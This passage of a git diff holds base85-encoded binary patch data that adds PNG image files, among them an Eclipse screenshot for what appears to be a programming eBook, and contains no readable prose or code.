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 bB(7ES*@w%|O@D&FLIX5Zbd<{;*gXG#2eEA6 literal 0 HcmV?d00001 diff --git a/en/eBook/images/1.4.eclipse1.png b/en/eBook/images/1.4.eclipse1.png new file mode 100644 index 0000000000000000000000000000000000000000..5b2f10d8cf1cfac3b02b68c3df77aa7ac87b442f GIT binary patch literal 94291 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 